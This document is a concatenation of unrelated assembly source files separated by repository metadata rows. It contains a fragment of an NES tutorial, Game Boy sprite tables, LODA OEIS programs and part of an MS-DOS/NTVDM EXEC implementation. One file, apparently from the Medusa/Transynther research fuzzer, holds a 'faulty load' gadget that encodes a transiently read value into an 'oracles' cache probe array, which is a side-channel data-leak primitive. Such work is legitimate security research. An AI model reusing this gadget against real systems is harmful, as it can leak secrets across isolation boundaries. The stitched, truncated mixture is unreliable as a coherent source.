.org $FFFA ;first of the three vectors starts here
.w NMIHandler ;when an NMI happens (once per frame if enabled) the
;processor will jump to the label NMI:
.w RESET ;when the processor first turns on or is reset, it will jump
;to the label RESET:
.w 0 ;external interrupt IRQ is not used in this tutorial
;;;;;;;;;;;;;;
.bank 1, 8, $0000, "NES_CHR0"
.segment "TILES"
.org $0000
.incbin "mario0.chr" ;includes 8KB graphics file from SMB1
.bank 2, 8, $0000, "NES_CHR1"
.segment "TILES2"
.org $0000
.incbin "mario1.chr" ;includes 8KB graphics file from SMB1, modified | 30.638393 | 89 | 0.599009 |
e1be391fa6af94bda85e3c0b7d92cc864c342f5c | 4,611 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1023.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1023.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1023.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r15
push %r8
push %rbx
push %rcx
lea addresses_normal_ht+0x9664, %rcx
nop
nop
cmp $26844, %r15
movb $0x61, (%rcx)
nop
nop
nop
nop
add $29720, %r13
lea addresses_WT_ht+0xeed6, %r10
nop
nop
nop
add %r14, %r14
mov $0x6162636465666768, %r8
movq %r8, %xmm3
and $0xffffffffffffffc0, %r10
vmovaps %ymm3, (%r10)
nop
nop
nop
nop
sub $42639, %r15
lea addresses_D_ht+0xf856, %r13
nop
nop
nop
and %rcx, %rcx
movl $0x61626364, (%r13)
nop
nop
nop
and %r14, %r14
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %rcx
push %rsi
// Faulty Load
lea addresses_PSE+0x36d6, %rsi
nop
nop
nop
nop
cmp $8419, %r12
mov (%rsi), %r13d
lea oracles, %rsi
and $0xff, %r13
shlq $12, %r13
mov (%rsi,%r13,1), %r13
pop %rsi
pop %rcx
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 49.580645 | 2,999 | 0.66298 |
042c9e88e56e6b0662c09102752d9b826fb46ea8 | 3,527 | asm | Assembly | data/actors/obstacles.asm | sinusoid-studios/rhythm-land | 6471f1d7b7d885bbb898888645ac291d45125134 | [
"MIT"
] | 11 | 2021-08-10T20:31:11.000Z | 2021-12-28T11:57:03.000Z | data/actors/obstacles.asm | sinusoid-studios/rhythm-land | 6471f1d7b7d885bbb898888645ac291d45125134 | [
"MIT"
] | null | null | null | data/actors/obstacles.asm | sinusoid-studios/rhythm-land | 6471f1d7b7d885bbb898888645ac291d45125134 | [
"MIT"
] | 1 | 2021-10-02T17:49:10.000Z | 2021-10-02T17:49:10.000Z | INCLUDE "constants/hardware.inc"
INCLUDE "constants/games/skater-dude.inc"
INCLUDE "constants/actors.inc"
INCLUDE "macros/actors.inc"
SECTION "Skater Dude Obstacle Actors Animation Data", ROMX
xActorObstacleAnimation::
animation Obstacle, OBSTACLE
; All obstacles have an animation like this
; (4 cels, looping, 2 frames each)
.loop
DB 0, 2
DB 1, 2
DB 2, 2
DB 3, 2
goto_cel .loop
.sloMoLoop
DB 0, 12 / SKATER_DUDE_SLO_MO_DIVIDE
DB 1, 12 / SKATER_DUDE_SLO_MO_DIVIDE
DB 2, 12 / SKATER_DUDE_SLO_MO_DIVIDE
DB 3, 12 / SKATER_DUDE_SLO_MO_DIVIDE
goto_cel .sloMoLoop
; Cel constant definitions
def_cel .sloMoLoop, SLO_MO
SECTION "Skater Dude Car Actor Meta-Sprite Data", ROMX
xActorCarMetasprites::
DW .car1
DW .car2
DW .car3
DW .car4
.car1
obj 1, 0, $9C, OAMF_PAL1
obj 1, 8, $9E, OAMF_PAL1
obj 1, 16, $A0, OAMF_PAL1
obj 1, 24, $A2, OAMF_PAL1
obj 17, 0, $A4, OAMF_PAL1
obj 17, 8, $A6, OAMF_PAL1
obj 17, 16, $A8, OAMF_PAL1
obj 17, 24, $AA, OAMF_PAL1
DB METASPRITE_END
.car2
obj 1, 0, $9C, OAMF_PAL1
obj 1, 8, $9E, OAMF_PAL1
obj 1, 16, $A0, OAMF_PAL1
obj 1, 24, $A2, OAMF_PAL1
obj 17, 0, $AC, OAMF_PAL1
obj 17, 8, $A6, OAMF_PAL1
obj 17, 16, $AE, OAMF_PAL1
obj 17, 24, $AA, OAMF_PAL1
DB METASPRITE_END
.car3
obj 0, 0, $9C, OAMF_PAL1
obj 0, 8, $9E, OAMF_PAL1
obj 0, 16, $A0, OAMF_PAL1
obj 0, 24, $A2, OAMF_PAL1
obj 16, 0, $B0, OAMF_PAL1
obj 16, 8, $A6, OAMF_PAL1
obj 16, 16, $B2, OAMF_PAL1
obj 16, 24, $B4, OAMF_PAL1
DB METASPRITE_END
.car4
obj 0, 0, $9C, OAMF_PAL1
obj 0, 8, $9E, OAMF_PAL1
obj 0, 16, $A0, OAMF_PAL1
obj 0, 24, $A2, OAMF_PAL1
obj 16, 0, $B6, OAMF_PAL1
obj 16, 8, $A6, OAMF_PAL1
obj 16, 16, $B8, OAMF_PAL1
obj 16, 24, $B4, OAMF_PAL1
DB METASPRITE_END
SECTION "Skater Dude Log Actor Meta-Sprite Data", ROMX
xActorLogMetasprites::
DW .log1
DW .log2
DW .log3
DW .log4
.log1
obj 16, 8, $BA, OAMF_PAL1
obj 8, 16, $BC, OAMF_PAL1
obj 8, 24, $BE, OAMF_PAL1
obj 24, 16, $D2, OAMF_PAL1
DB METASPRITE_END
.log2
obj 16, 8, $C0, OAMF_PAL1
obj 8, 16, $C2, OAMF_PAL1
obj 8, 24, $C4, OAMF_PAL1
obj 24, 16, $D4, OAMF_PAL1
DB METASPRITE_END
.log3
obj 16, 8, $C6, OAMF_PAL1
obj 8, 16, $C8, OAMF_PAL1
obj 8, 24, $CA, OAMF_PAL1
obj 24, 16, $D6, OAMF_PAL1
DB METASPRITE_END
.log4
obj 16, 8, $CC, OAMF_PAL1
obj 8, 16, $CE, OAMF_PAL1
obj 8, 24, $D0, OAMF_PAL1
obj 24, 16, $D8, OAMF_PAL1
DB METASPRITE_END
SECTION "Skater Dude Oil Barrel Actor Meta-Sprite Data", ROMX
xActorOilBarrelMetasprites::
DW .oilBarrel1
DW .oilBarrel2
DW .oilBarrel3
DW .oilBarrel4
.oilBarrel1
obj 8, 8, $DA, OAMF_PAL1
obj 8, 16, $DC, OAMF_PAL1
obj 8, 24, $DE, OAMF_PAL1
obj 24, 8, $EC, OAMF_PAL1
obj 24, 16, $EE, OAMF_PAL1
DB METASPRITE_END
.oilBarrel2
obj 8, 8, $E0, OAMF_PAL1
obj 8, 16, $E2, OAMF_PAL1
obj 8, 24, $E4, OAMF_PAL1
obj 24, 8, $F0, OAMF_PAL1
obj 24, 16, $EE, OAMF_PAL1
DB METASPRITE_END
.oilBarrel3
obj 8, 8, $E6, OAMF_PAL1
obj 8, 16, $E8, OAMF_PAL1
obj 8, 24, $E4, OAMF_PAL1
obj 24, 8, $F2, OAMF_PAL1
obj 24, 16, $EE, OAMF_PAL1
DB METASPRITE_END
.oilBarrel4
obj 8, 8, $E0, OAMF_PAL1
obj 8, 16, $EA, OAMF_PAL1
obj 8, 24, $DE, OAMF_PAL1
obj 24, 8, $F4, OAMF_PAL1
obj 24, 16, $EE, OAMF_PAL1
DB METASPRITE_END
| 22.464968 | 61 | 0.625177 |
3d00a01b589734a8f639846e505486f12f4fcd62 | 691 | asm | Assembly | programs/oeis/033/A033433.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/033/A033433.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/033/A033433.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A033433: a(n) = floor(10000/sqrt(n)).
; 10000,7071,5773,5000,4472,4082,3779,3535,3333,3162,3015,2886,2773,2672,2581,2500,2425,2357,2294,2236,2182,2132,2085,2041,2000,1961,1924,1889,1856,1825,1796,1767,1740,1714,1690,1666,1643,1622,1601,1581,1561,1543,1524,1507,1490,1474,1458,1443,1428,1414,1400,1386,1373,1360,1348,1336,1324,1313,1301,1290,1280,1270,1259,1250,1240,1230,1221,1212,1203,1195,1186,1178,1170,1162,1154,1147,1139,1132,1125,1118,1111,1104,1097,1091,1084,1078,1072,1066,1059,1054,1048,1042,1036,1031,1025,1020,1015,1010,1005,1000
seq $0,33424 ; a(n) = floor(10^8/n).
seq $0,196 ; Integer part of square root of n. Or, number of positive squares <= n. Or, n appears 2n+1 times.
| 115.166667 | 502 | 0.755427 |
8cf6e1703f0e8ef8c5cf80e76d8371c06cc27fe4 | 552 | asm | Assembly | oeis/257/A257235.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/257/A257235.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/257/A257235.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A257235: Decimal expansion of the real root of x^3 + x - 6.
; Submitted by Jon Maiga
; 1,6,3,4,3,6,5,2,9,3,0,1,3,5,4,3,3,2,3,3,6,8,2,8,4,4,5,6,9,7,8,2,5,2,2,1,0,3,3,7,2,0,4,7,0,3,7,5,4,0,4,7,2,8,1,7,6,9,5,7,4,6,1,2,9,6,2,2,3,1,7,7,9,3,3,3,5,7,3,4,8,6,1,2,0,4,6,1,2,4,9,3,7,9,0,8,8
mov $2,1
mov $3,$0
mul $3,4
lpb $3
add $1,$2
add $5,$2
add $1,$5
add $2,$1
mul $1,2
sub $2,$5
sub $3,1
lpe
mov $1,1
add $1,$5
mov $4,10
pow $4,$0
mul $4,2
div $2,$4
lpb $2
mov $6,$2
cmp $6,0
add $2,$6
div $1,$2
mod $2,9
lpe
mov $0,$1
mod $0,10
| 17.25 | 195 | 0.523551 |
d8190ec56c3d8d52b569b386831ac49798e634b7 | 48,282 | asm | Assembly | base/mvdm/dos/v86/doskrnl/dos/msproc.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | base/mvdm/dos/v86/doskrnl/dos/msproc.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | base/mvdm/dos/v86/doskrnl/dos/msproc.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | ;
; EXEC system call for DOS
;
; =========================================================================
.cref
.list
TITLE MSPROC - process maintenance
NAME MSPROC
PAGE ,132
;$WAIT
;$EXEC
;$Keep_process
;Stay_resident
;$EXIT
;$ABORT
;abort_inner
;
;Modification history:
; Sudeepb 11-Mar-1991 Ported for NT DOSEm
.XLIST
.XCREF
INCLUDE version.inc
INCLUDE dosseg.inc
INCLUDE DOSSYM.INC
INCLUDE DEVSYM.INC
INCLUDE exe.inc
INCLUDE sf.inc
INCLUDE curdir.inc
INCLUDE syscall.inc
INCLUDE arena.inc
INCLUDE pdb.inc
INCLUDE vector.inc
INCLUDE cmdsvc.inc
include dossvc.inc
include bop.inc
include vint.inc
include dbgsvc.inc
.CREF
.LIST
public retexepatch
; =========================================================================
DosData SEGMENT WORD PUBLIC 'DATA'
EXTRN CreatePDB :BYTE
EXTRN DidCtrlC :BYTE
EXTRN Exit_type :BYTE
EXTRN ExtErr_Locus :BYTE ; Extended Error Locus
EXTRN InDos :BYTE
EXTRN OpenBuf :BYTE
; EXTRN OpenBuf :128
EXTRN CurrentPDB :WORD
EXTRN Exit_code :WORD
EXTRN DmaAdd :DWORD
; the following includes & i_needs are for exec.asm
; which is included in this source
; **** Fake_count to commented out
EXTRN Fake_Count :BYTE ; Fake version count
EXTRN Special_Entries :WORD ; Address of special entries
EXTRN Special_Version :WORD ; Special version number
EXTRN Temp_Var2 :WORD ; File type from $open
; following i_needs are becuse of moving these vars from
; exec.asm to ../inc/ms_data.asm
EXTRN exec_init_SP :WORD
EXTRN exec_init_SS :WORD
EXTRN exec_init_IP :WORD
EXTRN exec_init_CS :WORD
EXTRN exec_signature :WORD ; Must contain 4D5A (yay zibo!)
EXTRN exec_len_mod_512:WORD ; Low 9 bits of length
EXTRN exec_pages :WORD ; Number of 512b pages in file
EXTRN exec_rle_count :WORD ; Count of reloc entries
EXTRN exec_par_dir :WORD ; Number of paragraphs before image
EXTRN exec_min_BSS :WORD ; Minimum number of para of BSS
EXTRN exec_max_BSS :WORD ; Max number of para of BSS
EXTRN exec_SS :WORD ; Stack of image
EXTRN exec_SP :WORD ; SP of image
EXTRN exec_chksum :WORD ; Checksum of file (ignored)
EXTRN exec_IP :WORD ; IP of entry
EXTRN exec_CS :WORD ; CS of entry
EXTRN exec_rle_table :WORD ; Byte offset of reloc table
EXTRN Exec_NE_Offset :WORD
EXTRN DOS_FLAG :BYTE ; flag to indicate to redir that open
; came from exec.
EXTRN AllocMethod :BYTE ; how to alloc first(best)last
EXTRN SAVE_AX :WORD ; temp to save ax
EXTRN AllocMsave :BYTE ; M063: temp to save AllocMethod
EXTRN UU_IFS_DOS_CALL :DWORD ; M060 Ptr to version table
EXTRN A20OFF_PSP :WORD ; M068
EXTRN A20OFF_COUNT :BYTE ; M068
; =========================================================================
EXTRN Disa20_Xfer :WORD
allow_getdseg
EXTRN DriverLoad :BYTE
EXTRN BiosDataPtr :DWORD
extrn DosHasHMA :byte ; M021
extrn fixexepatch :word
extrn ChkCopyProt :word ; M068
extrn LeaveDos :word ; M068
extrn SCS_TSR :byte
extrn SCS_Is_Dos_Binary:byte
EXTRN SCS_CMDPROMPT :byte
EXTRN SCS_DOSONLY :byte
EXTRN SCS_ISDEBUG :byte
DosData ENDS
; =========================================================================
DOSCODE SEGMENT
ASSUME SS:DOSDATA,CS:DOSCODE
EXTRN ExecReady:near
EXTRN UCase:near ; M050
SAVEXIT EQU 10
BREAK <$WAIT - return previous process error code>
; =========================================================================
; $WAIT - Return previous process error code.
;
; Assembler usage:
;
; MOV AH, WaitProcess
; INT int_command
;
; ENTRY none
; EXIT (ax) = exit code
; USES all
; =========================================================================
ASSUME DS:NOTHING,ES:NOTHING
PROCEDURE $Wait ,NEAR
xor AX,AX
xchg AX,exit_code
transfer Sys_Ret_OK
ENDPROC $Wait
; =========================================================================
;BREAK <$exec - load/go a program>
; EXEC.ASM - EXEC System Call
;
;
; Assembler usage:
; lds DX, Name
; les BX, Blk
; mov AH, Exec
; mov AL, FUNC
; int INT_COMMAND
;
; AL Function
; -- --------
; 0 Load and execute the program.
; 1 Load, create the program header but do not
; begin execution.
; 3 Load overlay. No header created.
;
; AL = 0 -> load/execute program
;
; +---------------------------+
; | WORD segment address of |
; | environment. |
; +---------------------------+
; | DWORD pointer to ASCIZ |
; | command line at 80h |
; +---------------------------+
; | DWORD pointer to default |
; | FCB to be passed at 5Ch |
; +---------------------------+
; | DWORD pointer to default |
; | FCB to be passed at 6Ch |
; +---------------------------+
;
; AL = 1 -> load program
;
; +---------------------------+
; | WORD segment address of |
; | environment. |
; +---------------------------+
; | DWORD pointer to ASCIZ |
; | command line at 80h |
; +---------------------------+
; | DWORD pointer to default |
; | FCB to be passed at 5Ch |
; +---------------------------+
; | DWORD pointer to default |
; | FCB to be passed at 6Ch |
; +---------------------------+
; | DWORD returned value of |
; | CS:IP |
; +---------------------------+
; | DWORD returned value of |
; | SS:IP |
; +---------------------------+
;
; AL = 3 -> load overlay
;
; +---------------------------+
; | WORD segment address where|
; | file will be loaded. |
; +---------------------------+
; | WORD relocation factor to |
; | be applied to the image. |
; +---------------------------+
;
; Returns:
; AX = error_invalid_function
; = error_bad_format
; = error_bad_environment
; = error_not_enough_memory
; = error_file_not_found
; =========================================================================
;
; Revision history:
;
; A000 version 4.00 Jan. 1988
;
; =========================================================================
EXTRN Exec_Header_Len :ABS
EXTRN Exec_Header_Len_NE:ABS
Exec_Internal_Buffer EQU OpenBuf
ifdef JAPAN
Exec_Internal_Buffer_Size EQU (128+128+53+curdirLEN_Jpn)
else
Exec_Internal_Buffer_Size EQU (128+128+53+curdirLEN)
endif
; =========================================================================
;IF1 ; warning message on buffers
;%out Please make sure that the following are contiguous and of the
;%out following sizes:
;%out
;%out OpenBuf 128
;%out RenBuf 128
;%out SearchBuf 53
;%out DummyCDS CurDirLen
;ENDIF
; =========================================================================
ifdef NEC_98
EXTRN EMS_MNT :NEAR
endif ;NEC_98
; =========================================================================
;
; =========================================================================
procedure $Exec,NEAR
PUBLIC EXEC001S
EXEC001S:
LocalVar Exec_Blk ,DWORD
LocalVar Exec_Func ,BYTE
LocalVar Exec_Load_High ,BYTE
LocalVar Exec_FH ,WORD
LocalVar Exec_Rel_Fac ,WORD
LocalVar Exec_Res_Len_Para ,WORD
LocalVar Exec_Environ ,WORD
LocalVar Exec_Size ,WORD
LocalVar Exec_Load_Block ,WORD
LocalVar Exec_DMA ,WORD
LocalVar ExecNameLen ,WORD
LocalVar ExecName ,DWORD
LocalVar Exec_DMA_Save ,WORD
LocalVar Exec_NoStack ,BYTE
LocalVar ExecFlag ,BYTE
LocalVar ExecWord ,WORD
;;
;;williamh change BEGIN
; 0 if we are not loading a COM file as overlay
; 1 if we are loading a COM file as overlay
LocalVar Exec_ComOverlay ,BYTE
;; williamh change END
LocalVar Exec_Res_Len ,DWORD
; ==================================================================
; validate function
; ==================================================================
PUBLIC EXEC001E
EXEC001E:
;
; M068 - Start
;
; Reset the A20OFF_COUNT to 0. This is done as there is a
; possibility that the count may not be decremented all the way to
; 0. A typical case is if the program for which we intended to keep
; the A20 off for a sufficiently long time (A20OFF_COUNT int 21
; calls), exits pre-maturely due to error conditions.
;
mov [A20OFF_COUNT], 0
;
; If al=5 (ExecReady) we'll change the return address on the stack
; to be LeaveDos in msdisp.asm. This ensures that the EXECA20OFF
; bit set in DOS_FLAG by ExceReady is not cleared in msdisp.asm
;
cmp al, 5 ; Q: is this ExecReady call
jne @f ; N: continue
; Y: change ret addr. to LeaveDos.
pop cx ; Note CX is not input to ExecReady
mov cx, offset DOSCODE:LeaveDos
push cx
@@:
;
; M068 - End
;
Enter
;;williamh change BEGIN
mov Exec_ComOverlay, 0
;;williamh changed END
cmp AL,5 ; only 0, 1, 3 or 5 are allowed ;M028
; M030
jna exec_check_2
Exec_Bad_Fun:
mov ExtErr_Locus,ErrLoc_Unk ; Extended Error Locus ;smr;SS Override
mov al,Error_Invalid_Function
Exec_Ret_Err:
Leave
transfer SYS_RET_ERR
ExecReadyJ:
call ExecReady ; M028
jmp norm_ovl ; do a Leave & xfer sysret_OK ; M028
Exec_Check_2:
cmp AL,2
jz Exec_Bad_Fun
cmp al, 4 ; 2 & 4 are not allowed
je Exec_Bad_Fun
cmp al, 5 ; M028 ; M030
je ExecReadyJ ; M028
mov Exec_Func,AL
or al,al
jne scs1
xchg al, SS:[SCS_Is_Dos_Binary] ; get and reset the flag
;; if we already know the binary type(from command.com and GetNextCommand
;; just execute it
or al, al
jne scs1
mov ExecFlag, 1 ;check new header
call get_binary_type ;get the binary type
jc Exec_ret_err ;file read error ?
cmp al, 0ffh ;type unknown?
jnz exec_got_binary_type
; sudeepb ; This code support NTCMDPROMPT and DOSONLY commands of config.nt
cmp byte ptr ss:[SCS_CMDPROMPT],1
jz go_checkbin ; means cmd prompt supported
cmp byte ptr ss:[SCS_DOSONLY],0
jz go_checkbin
jmp short scs1 ; means on command.com prompt we are
; suppose to disallow 32bit binaries
go_checkbin:
;; unknown bindary type found, ask NTVDM for help.
;;
CMDSVC SVC_CMDCHECKBINARY ; Check if the binary is 32bit
; 32 bit binary handling added for SCS.
; SVC_DEMCHECKBINARY will return updated ds:dx to point to
; %COMSPEC% . ds:dx will be pointing to a scratch buffer
; the address of which was passed to 32bit side at the time
; of DOS initialization. SVC handler will also add /z switch to
; command tail. If command tail does'nt have enough space to allow
; adding /z, it will return error_not_enough_memory.
;lds SI,[SI.exec0_com_line] ; command line
;mov al,byte ptr ds:[si]
;cmp al,125 ; 3 chars for /z<space>
;pop ax
;jbe scs1
;mov ax,error_not_enough_memory
;jmp Exec_Ret_Err
jc Exec_Ret_Err
scs1:
mov ExecFlag, 0 ;don't check new header
call get_binary_type ;get binary again
jc Exec_ret_err
exec_got_binary_type:
mov ExecFlag, al ;binary type
mov Exec_BlkL,BX ; stash args
mov Exec_BlkH,ES
mov Exec_Load_high,0
mov execNameL,DX ; set up length of exec name
mov execNameH,DS
mov SI,DX ; move pointer to convenient place
invoke DStrLen
mov ExecNameLen,CX ; save length
mov al, [AllocMethod] ; M063: save alloc method in
mov [AllocMsave], al ; M063: AllocMsave
Exec_Check_Environ:
mov Exec_Load_Block,0
mov Exec_Environ,0
; overlays... no environment
test BYTE PTR Exec_Func,EXEC_FUNC_OVERLAY
jnz Exec_Save_Start
lds SI,Exec_Blk ; get block
mov AX,[SI].Exec1_Environ ; address of environ
or AX,AX
jnz exec_scan_env
mov DS,CurrentPDB ;smr;SS Override
mov AX,DS:[PDB_environ]
;---------------------------------------------BUG 92 4/30/90-----------------
;
; Exec_environ is being correctly initialized after the environment has been
; allocated and copied form the parent's env. It must not be initialized here.
; Because if the call to $alloc below fails Exec_dealloc will deallocate the
; parent's environment.
; mov Exec_Environ,AX
;
;----------------------------------------------------------------------------
or AX,AX
jz Exec_Save_Start
Exec_Scan_Env:
mov ES,AX
xor DI,DI
mov CX,8000h ; at most 32k of environment ;M040
xor AL,AL
Exec_Get_Environ_Len:
repnz scasb ; find that nul byte
jnz BadEnv
dec CX ; Dec CX for the next nul byte test
js BadEnv ; gone beyond the end of the environment
scasb ; is there another nul byte?
jnz Exec_Get_Environ_Len ; no, scan some more
push DI
lea BX,[DI+0Fh+2]
add BX,ExecNameLen ; BX <- length of environment
; remember argv[0] length
; round up and remember argc
mov CL,4
shr BX,CL ; number of paragraphs needed
push ES
invoke $Alloc ; can we get the space?
pop DS
pop CX
jnc Exec_Save_Environ
jmp SHORT Exec_No_Mem ; nope... cry and sob
Exec_Save_Environ:
mov ES,AX
mov Exec_Environ,AX ; save him for a rainy day
xor SI,SI
mov DI,SI
rep movsb ; copy the environment
mov AX,1
stosw
lds SI,ExecName
mov CX,ExecNameLen
rep movsb
Exec_Save_Start:
Context DS
cmp ExecFlag, 0
je Exec_exe_file
jmp Exec_Com_File
Exec_exe_file:
test Exec_Max_BSS,-1 ; indicate load high?
jnz Exec_Check_Size
mov Exec_Load_High,-1
Exec_Check_Size:
mov AX,Exec_Pages ; get 512-byte pages ;rms;NSS
mov CL,5 ; convert to paragraphs
shl AX,CL
sub AX,Exec_Par_Dir ; AX = size in paragraphs;rms;NSS
mov Exec_Res_Len_Para,AX
; Do we need to allocate memory?
; Yes if function is not load-overlay
test BYTE PTR exec_func,exec_func_overlay
jz exec_allocate ; allocation of space
; get load address from block
les DI,Exec_Blk
mov AX,ES:[DI].Exec3_Load_Addr
mov exec_dma,AX
mov AX,ES:[DI].Exec3_Reloc_Fac
mov Exec_Rel_Fac,AX
jmp Exec_Find_Res ; M000
BadEnv:
mov AL,ERROR_BAD_ENVIRONMENT
jmp Exec_Bomb
Exec_No_Mem:
mov AL,Error_Not_Enough_Memory
jmp SHORT Exec_Bomb
Exec_Bad_File:
mov AL,Error_Bad_Format
Exec_Bomb:
ASSUME DS:NOTHING,ES:NOTHING
mov BX,Exec_fh
call Exec_Dealloc
LeaveCrit CritMem
save <AX,BP>
invoke $CLOSE
restore <BP,AX>
